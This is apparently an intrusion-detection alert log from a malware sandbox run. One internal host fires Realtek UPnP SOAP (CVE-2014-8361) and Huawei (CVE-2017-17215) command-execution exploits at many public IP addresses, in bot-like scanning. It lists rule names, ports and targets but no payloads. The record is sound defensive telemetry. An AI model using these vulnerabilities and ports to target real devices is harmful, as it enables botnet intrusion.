Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.148.233.46

Timestamp:	07/20/24-23:01:47.893677
SID:	2025132
Source Port:	34106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.239.164.172

Timestamp:	07/20/24-23:01:52.599834
SID:	2831300
Source Port:	48136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.93.189

Timestamp:	07/20/24-23:00:57.223887
SID:	2829579
Source Port:	41330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.161.188.69

Timestamp:	07/20/24-23:01:00.638418
SID:	2835222
Source Port:	59370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.23.236.194

Timestamp:	07/20/24-23:01:09.030401
SID:	2831300
Source Port:	33440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 82.106.122.253

Timestamp:	07/20/24-23:01:12.807274
SID:	2831300
Source Port:	37612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.247.218.225

Timestamp:	07/20/24-23:01:52.393089
SID:	2027339
Source Port:	58436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.92.48.14

Timestamp:	07/20/24-23:02:06.131728
SID:	2025132
Source Port:	59882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.135.155.164

Timestamp:	07/20/24-23:01:46.512162
SID:	2027339
Source Port:	48972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.200.193.163

Timestamp:	07/20/24-23:01:27.653586
SID:	2835222
Source Port:	36930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 99.176.241.96

Timestamp:	07/20/24-23:01:43.659105
SID:	2831300
Source Port:	36324
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.235.237.254

Timestamp:	07/20/24-23:01:49.033216
SID:	2027339
Source Port:	59516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.52.228.17

Timestamp:	07/20/24-23:02:48.156942
SID:	2025132
Source Port:	35430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.136.207.183

Timestamp:	07/20/24-23:01:04.786751
SID:	2027339
Source Port:	55894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.93.255.182

Timestamp:	07/20/24-23:01:42.072139
SID:	2027339
Source Port:	45316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.3.232.51

Timestamp:	07/20/24-23:01:50.483105
SID:	2027339
Source Port:	49882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.215.4.32

Timestamp:	07/20/24-23:01:20.591862
SID:	2831300
Source Port:	56994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.48.132

Timestamp:	07/20/24-23:01:00.634165
SID:	2835222
Source Port:	60608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.44.162.23

Timestamp:	07/20/24-23:01:42.592140
SID:	2027339
Source Port:	36644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.139.214.54

Timestamp:	07/20/24-23:01:42.699478
SID:	2025132
Source Port:	37526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.252.110.127

Timestamp:	07/20/24-23:01:42.131607
SID:	2027339
Source Port:	33750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.27.212.72

Timestamp:	07/20/24-23:02:00.484578
SID:	2025132
Source Port:	58038
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.42.28.225

Timestamp:	07/20/24-23:01:53.844694
SID:	2025132
Source Port:	51090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.174.206.130

Timestamp:	07/20/24-23:01:52.285244
SID:	2831300
Source Port:	55514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.245.86.200

Timestamp:	07/20/24-23:01:11.188768
SID:	2025132
Source Port:	52494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 168.26.102.58

Timestamp:	07/20/24-23:02:08.008782
SID:	2025132
Source Port:	36758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.84.25.49

Timestamp:	07/20/24-23:01:34.045749
SID:	2835222
Source Port:	48766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.245.92.167

Timestamp:	07/20/24-23:01:42.551511
SID:	2027339
Source Port:	33580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.117.151.237

Timestamp:	07/20/24-23:01:20.132103
SID:	2829579
Source Port:	33446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.96.236.62

Timestamp:	07/20/24-23:01:53.909434
SID:	2027339
Source Port:	46270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 61.172.152.113

Timestamp:	07/20/24-23:01:31.325400
SID:	2831300
Source Port:	38942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.81.97.111

Timestamp:	07/20/24-23:01:43.117484
SID:	2027339
Source Port:	48780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.1.176.48

Timestamp:	07/20/24-23:01:44.991829
SID:	2027339
Source Port:	58460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.87.191.244

Timestamp:	07/20/24-23:01:25.517399
SID:	2027339
Source Port:	50900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 102.142.123.212

Timestamp:	07/20/24-23:01:57.688478
SID:	2025132
Source Port:	60970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 164.204.194.37

Timestamp:	07/20/24-23:01:02.055683
SID:	2829579
Source Port:	45562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.125.127.147

Timestamp:	07/20/24-23:01:48.118060
SID:	2831300
Source Port:	49154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.205.142

Timestamp:	07/20/24-23:01:14.113390
SID:	2829579
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.222.50.62

Timestamp:	07/20/24-23:01:44.683789
SID:	2027339
Source Port:	34530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.29.130.31

Timestamp:	07/20/24-23:01:52.599833
SID:	2025132
Source Port:	48540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.84.107.116

Timestamp:	07/20/24-23:01:44.311969
SID:	2831300
Source Port:	44292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 198.12.218.135

Timestamp:	07/20/24-23:01:56.510714
SID:	2831300
Source Port:	40700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.165.85.196

Timestamp:	07/20/24-23:01:02.127340
SID:	2829579
Source Port:	40570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.57.93.253

Timestamp:	07/20/24-23:01:08.559170
SID:	2027339
Source Port:	51992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.174.160.150

Timestamp:	07/20/24-23:01:47.870904
SID:	2027339
Source Port:	46610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.188.193.15

Timestamp:	07/20/24-23:01:09.817737
SID:	2027339
Source Port:	52942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.167.254.123

Timestamp:	07/20/24-23:01:56.504220
SID:	2027339
Source Port:	45026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.164.36.164

Timestamp:	07/20/24-23:01:43.180913
SID:	2025132
Source Port:	53382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.182.102.65

Timestamp:	07/20/24-23:01:40.320408
SID:	2829579
Source Port:	48886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.188.56.156

Timestamp:	07/20/24-23:01:49.329746
SID:	2831300
Source Port:	53542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.105.28.46

Timestamp:	07/20/24-23:01:24.944299
SID:	2829579
Source Port:	37398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.149.70.228

Timestamp:	07/20/24-23:01:24.929013
SID:	2835222
Source Port:	53856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.130.121.87

Timestamp:	07/20/24-23:01:25.969609
SID:	2027339
Source Port:	41896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.241.110.129

Timestamp:	07/20/24-23:01:53.175676
SID:	2025132
Source Port:	59638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.51.233.253

Timestamp:	07/20/24-23:01:24.883171
SID:	2835222
Source Port:	46870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.173.198.51

Timestamp:	07/20/24-23:01:54.672544
SID:	2027339
Source Port:	34852
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.174.13.114

Timestamp:	07/20/24-23:01:44.895849
SID:	2025132
Source Port:	35128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.40.0.63

Timestamp:	07/20/24-23:01:40.291616
SID:	2829579
Source Port:	41636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.151.175.195

Timestamp:	07/20/24-23:01:41.259813
SID:	2027339
Source Port:	40310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.131.219.214

Timestamp:	07/20/24-23:01:31.979752
SID:	2835222
Source Port:	45060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.198.233.204

Timestamp:	07/20/24-23:01:02.324877
SID:	2027339
Source Port:	55470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.165.97.37

Timestamp:	07/20/24-23:01:31.976649
SID:	2835222
Source Port:	59476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.163.165.19

Timestamp:	07/20/24-23:01:20.124696
SID:	2829579
Source Port:	39104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.217.14.87

Timestamp:	07/20/24-23:01:54.901420
SID:	2831300
Source Port:	44428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.181.144

Timestamp:	07/20/24-23:01:27.651332
SID:	2829579
Source Port:	52286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.162.26.171

Timestamp:	07/20/24-23:01:50.280308
SID:	2831300
Source Port:	55862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.178.52.80

Timestamp:	07/20/24-23:01:51.266338
SID:	2027339
Source Port:	44988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.77.241.40

Timestamp:	07/20/24-23:01:52.569791
SID:	2831300
Source Port:	51988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.22.111.5

Timestamp:	07/20/24-23:01:43.227281
SID:	2027339
Source Port:	59816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.145.77.109

Timestamp:	07/20/24-23:01:52.089079
SID:	2027339
Source Port:	46226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.55.180.198

Timestamp:	07/20/24-23:01:08.919725
SID:	2027339
Source Port:	46758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.0.45.254

Timestamp:	07/20/24-23:01:08.574948
SID:	2831300
Source Port:	39120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.49.44.101

Timestamp:	07/20/24-23:01:11.149832
SID:	2027339
Source Port:	41576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.194.171.63

Timestamp:	07/20/24-23:01:49.454456
SID:	2027339
Source Port:	56898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.52.94.108

Timestamp:	07/20/24-23:01:04.114673
SID:	2829579
Source Port:	57736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.77.131.53

Timestamp:	07/20/24-23:00:57.221220
SID:	2835222
Source Port:	58196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.230.210

Timestamp:	07/20/24-23:01:27.749737
SID:	2835222
Source Port:	48384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.142.88.137

Timestamp:	07/20/24-23:01:21.943544
SID:	2835222
Source Port:	52986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 82.79.140.185

Timestamp:	07/20/24-23:01:47.433470
SID:	2831300
Source Port:	40136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.212.218.203

Timestamp:	07/20/24-23:01:02.057729
SID:	2835222
Source Port:	51132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.233.35.58

Timestamp:	07/20/24-23:01:53.923127
SID:	2027339
Source Port:	46216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.189.251.198

Timestamp:	07/20/24-23:01:44.155894
SID:	2027339
Source Port:	43802
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.254.251.88

Timestamp:	07/20/24-23:01:43.121284
SID:	2025132
Source Port:	40112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.220.55.191

Timestamp:	07/20/24-23:01:45.095767
SID:	2025132
Source Port:	42164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.69.50.199

Timestamp:	07/20/24-23:02:04.748522
SID:	2025132
Source Port:	47778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.214.48.137

Timestamp:	07/20/24-23:01:46.495508
SID:	2025132
Source Port:	44590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.218.114.123

Timestamp:	07/20/24-23:01:04.040812
SID:	2835222
Source Port:	60340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.120.226.33

Timestamp:	07/20/24-23:01:09.891414
SID:	2025132
Source Port:	34962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.51.3.253

Timestamp:	07/20/24-23:01:45.978835
SID:	2025132
Source Port:	40016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.182.132.190

Timestamp:	07/20/24-23:01:47.486502
SID:	2027339
Source Port:	55102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.224.40.86

Timestamp:	07/20/24-23:01:08.619598
SID:	2027339
Source Port:	43258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.69.22.214

Timestamp:	07/20/24-23:01:11.634372
SID:	2835222
Source Port:	59606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.38.147.179

Timestamp:	07/20/24-23:01:25.498619
SID:	2027339
Source Port:	56578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.152.115.130

Timestamp:	07/20/24-23:01:43.110964
SID:	2025132
Source Port:	60932
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.199.109.79

Timestamp:	07/20/24-23:01:34.048825
SID:	2835222
Source Port:	53792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.226.241.204

Timestamp:	07/20/24-23:01:09.021221
SID:	2027339
Source Port:	47164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.110.137.130

Timestamp:	07/20/24-23:01:45.298541
SID:	2027339
Source Port:	39444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.32.91.217

Timestamp:	07/20/24-23:01:50.128003
SID:	2831300
Source Port:	50218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.88.48.35

Timestamp:	07/20/24-23:01:51.875785
SID:	2027339
Source Port:	59312
Destination Port:	52869
